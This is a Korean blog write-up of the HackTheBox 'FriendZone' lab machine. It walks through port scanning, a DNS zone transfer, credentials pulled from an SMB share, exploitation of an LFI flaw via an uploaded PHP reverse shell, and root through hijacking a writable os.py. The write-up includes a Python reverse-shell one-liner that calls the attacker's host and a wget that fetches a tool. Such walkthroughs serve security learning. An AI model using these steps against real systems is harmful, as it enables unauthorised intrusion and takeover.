nmap
-sC
대충 정리해보면,
21 ftp vsftpd 3.0.3
22 ssh openssh 7.6p1
53 domain ISC BIND 9.11.3-1ubuntu1.2
80 http Apache httpd 2.4.29
139 netbios-ssn Samba smbd 3.X - 4.X
443 ssl/http Apache httpd 2.4.29
445 netbios-ssn Samba smbd 4.7.6-Ubuntu
samba 취약점일 수도, isc bind 취약점일 수도, apache 취약점 일 수도... 혹은 vstfpd..
-sU
[**] 롸업 피셜 포트 스캔 결과 정리
1) -sC 옵션은 ftp port를 만났을 때 anonymous 로그인이 가능한지 체크한다. 포트 스캔 결과에서 anonymous 로그인이 가능하다고 나오지 않았으므로 ftp 서버에 접근하기 위해서는 credentials이 필요한 것을 알 수 있다. 게다가 버전 3.0.3은 중요한 취약점이 보이지 않는다. -> 그래서 우리는 ftp에 집중하지 않기로 한다.
2) ftp와 비슷하게, 해당 ssh 버전과 관련된 특별한 취약점이 보이지 않는다.
3) 53번 포트.. 이 서비스에서 가장 먼저 해야하는 것은 nslookup으로 도메인 네임을 얻고, name server와 hostname 등을 enumerate하기 위해 zone transfer을 시도하는 것이다.
nmap 스캔 결과로 나온 ssl-cert는 common name "friendzone.red"를 알려준다. 이것이 도메인 네임이 될 수 있다.
4) 80번 포트와 443번 포트는 다른 title을 보여준다. This could be a virtual hosts routing configuration.
이것은 만약 우리가 다른 호스트들을 발견하면, 둘이 다른 결과를 보여줄 수 있으므로 http와 https 둘 다 시도해봐야 한다.
5) smb 포트들은 열려있다. 우리는 일반적으로 하던 anonymous 로그인을 체크하고, shares를 리스트화하고, shares에 대해 권한을 체크해야 한다. (???) -> 뒤에 계속 진행하다보면 이해 간다.
http://10.10.10.123
소스 보기 해도 사진 .jpg 말고는 별거 없다.
friendzone에 속한 적이 있다면, 이 zone에서 벗어나라는 말....
searchsploit
나머진 뭐 결과도 안나온다....
어딜 삽질해야 할까..
gobust
/wordpress 밖에 안나온다. 들어가보면 아무 것도 없다.
결국 봐버린 롸업...
nslookup
포트 53번이 열려있다는 것은 이 ip 주소가 네임서버의 역할을 하고 있다는 것
server 10.10.10.123 # 해당 ip를 네임서버로 설정하겠다.
10.10.10.123 # 해당 네임서버에 있는 도메인 네임 정보를 알려준다?
아무것도 얻지 못했다.
그러나, 아까 nmap 결과에서 나온 friendzone.red와, http로 접속했을 때 나온 이메일 주소로 friendzoneportal.red의 도메인 네임 두 개를 알고있다.
zone transfer
zone transfer를 시도해보자. 명령어 host 사용..
해당 도메인의 모든 호스트 주소를 출력해준다.
friendzone.red
- administrator1.friendzone.red
- hr.friendzone.red
- uploads.friendzone.red
friendzoneportal.red
- admin.friendzoneportal.red
- files.friendzoneportal.red
- imports.friendzoneportal.red
- vpn.friendzoneportal.red
이 모든 도메인을 /etc/hosts에 모두 추가한다.
이제 모든 도메인을 방문해본다. 하지만 http와 https에 모두 접근해야한다는 사실을 잊지마라!!
https://administrator1.friendzone.red/
https://uploads.friendzone.red/
https://admin.friendzoneportal.red/
이것 말고는 404나 처음에 http://10.10.10.123 접속했을 때 나오는 화면이 뜬다.
default credentials not working...
password cracking 전에 smbmap 시도
smbmap
smbmap -H 10.10.10.123
Files share가 시스템의 /etc/Files 위치에 저장되어있다는 것을 볼 수 있다.
그러므로 Development share에 저장된 파일은 /etc/Development에 저장될 것이라고 추측할 수 있다.
smbmap -R -H 10.10.10.123
creds.txt를 다운받기 전에 smbclient로 더 shares에 대해 더 많은 정보를 얻어보자.
smbclient
이제 creds.txt 파일을 가져와보자.
smbclient //10.10.10.123/general -N
- dir
- get creds.txt
admin / WORKWORKHhallelujah@#
나온 id/ pw로 아까 나온 로그인 페이지 하나씩 로그인해본다.
timestamp 값을 그대로 갖다 넣으면 더이상 맨 밑의 final access... 는 뜨지 않는다.
아까 나온 사진 업로드할 수 있는 url로 들어가서 임의의 사진 하나를 업로드했다.
이 사진을 아까 /dashboard.php에서 볼 수 있는지 확인하고자 한다.
하지만 사진을 확인할 수 없다.
pagename 파라미터에 집중하자.
[**] 롸업 피셜. 약간 이해는 안 감
timestamp를 생성하고 페이지에 출력하는 timestamp script를 실행하는 것 같다.
timestamp라는 파일 이름을 가져와서 .php를 추가한 다음 해당 스크립트를 실행하는 것 같다.
먼저 php파일을 업로드하고 LFI 취약점을 악용해 페이지에 무언가를 출력해보겠다.
아까 smbmap의 결과로 Development share에 READ, WRITE 권한이 있다는 것을 파악했다. 그리고 그 shared에 업로드된 파일은 /etc/Development에 저장된다고도 유추했었다.
smbclient 로 10.10.10.123/Development에 접속후 내 kali에 있는 test.php를 여기에 떨군다.
됐다!
이제 php reverse shell을 업로드하면 되겠다.
shell.php에는 php reverse shellcode를 담았다.
바로 익스 성공. 여기서 user.txt는 바로 볼 수 있다.
권한 상승(pspy)
LinEnum.sh로 얻을 수 있는게 없다.
pspy 사용하기
(내 kali)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
python -m SimpleHTTPServer 5555
(획득한 쉘)
wget http://10.10.14.30:5555/pspy64
chmod +x pspy64
./pspy64
한 1, 2분 기다리면 다음과 같은 것을 볼 수 있다.
cat /opt/server_admin/reporter.py
다 뭔가 주석처리되어있다..
그런데 import os를 확인할 수 있다. 이걸 우리가 가로챌 수 있다면?
os.py 권한이 rwx인 것을 볼 수 있다. 명백한 security configuration이다.
nc -nlvp 7777
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.30",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' >> os.py
echo '~~' 꼭 작은 따옴표로 감싸야한다.
'워게임 > hackthebox' 카테고리의 다른 글
nineveh 롸업 정리 (0) | 2021.09.15 |
---|---|
cronos 롸업 정리 (0) | 2021.09.15 |
bashed 롸업 정리 (0) | 2021.09.10 |
nibbles 롸업 정리 (0) | 2021.09.09 |
RSA 알고리즘 (0) | 2021.09.09 |
댓글